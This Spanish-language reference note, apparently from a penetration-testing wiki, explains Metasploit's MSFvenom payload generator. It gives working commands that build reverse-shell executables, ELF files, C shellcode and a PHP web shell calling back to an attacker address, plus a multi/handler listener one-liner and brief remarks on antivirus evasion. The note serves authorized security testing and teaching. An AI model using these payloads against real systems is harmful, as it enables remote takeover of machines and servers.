MSFvenom
MSFvenom es el generador de payloads de Metasploit: fusiona en una sola herramienta lo que antes hacían msfpayload y msfencode. Toma un payload del framework (una reverse shell, un…
Qué es
MSFvenom es el generador de payloads de Metasploit: fusiona en una sola herramienta lo que antes hacían msfpayload y msfencode. Toma un payload del framework (una reverse shell, un Meterpreter, un comando) y lo empaqueta en el formato que necesites —ejecutable de Windows, ELF de Linux, script de PowerShell, APK, shellcode en C— listo para entregar al objetivo en una prueba autorizada.
Para qué sirve
- Generar reverse o bind shells en decenas de formatos.
- Producir shellcode para incrustar en un exploit propio.
- Crear artefactos (EXE, DLL, ELF, APK, macros) para pruebas de entrega y evasión.
Cuándo usarla
- En la fase de weaponization: convertir un payload en un fichero entregable.
- Al desarrollar un exploit que necesita shellcode con una arquitectura concreta.
- Para preparar la carga de un handler de Metasploit (
multi/handler).
Anatomía de un comando
msfvenom -p <payload> LHOST=<ip> LPORT=<puerto> -f <formato> -o <salida>-p— el payload (-l payloadslos lista todos).LHOST/LPORT— a dónde vuelve la conexión.-f— formato de salida (-l formats).-e— encoder;-i— iteraciones de codificación.-b— bad chars a evitar (p. ej.'\x00').
Uso (ejemplos comunes)
# Reverse shell TCP para Windows, como ejecutablemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=443 \ -f exe -o shell.exe
# Reverse shell para Linux (ELF)msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.2 LPORT=443 \ -f elf -o shell.elf
# Shellcode en C, evitando el byte nulomsfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.2 LPORT=443 \ -b '\x00' -f c
# Payload web (PHP) para subir a un servidor vulnerablemsfvenom -p php/reverse_php LHOST=10.0.0.2 LPORT=443 -f raw -o shell.phpDel lado atacante, se recibe con el handler:
msfconsole -q -x "use multi/handler; \ set payload windows/x64/meterpreter/reverse_tcp; \ set LHOST 10.0.0.2; set LPORT 443; run"Pitfalls / Errores comunes
- Payload sin handler. El ejecutable llama a casa, pero si no hay un
multi/handlerescuchando con el mismo payload, LHOST y LPORT, no pasa nada. - Arquitectura equivocada. Un payload
x64en un proceso de 32 bits no arranca. Ante la duda,x86es más portable. - Confiar en los encoders para evadir el antivirus. Codificar (
-e) sirve para eliminar bad chars, no para saltarse un EDR moderno;shikata_ga_naiestá más que fichado. - Usarlo fuera de un alcance autorizado. Generar el payload es trivial; hacerlo sobre un sistema sin permiso, no.
Integración con otras notas
- Framework que lo aloja: Metasploit Framework.
- Concepto de fondo: Shells (Reverse and Bind).
Referencias
- Cómo usar MSFvenom — https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html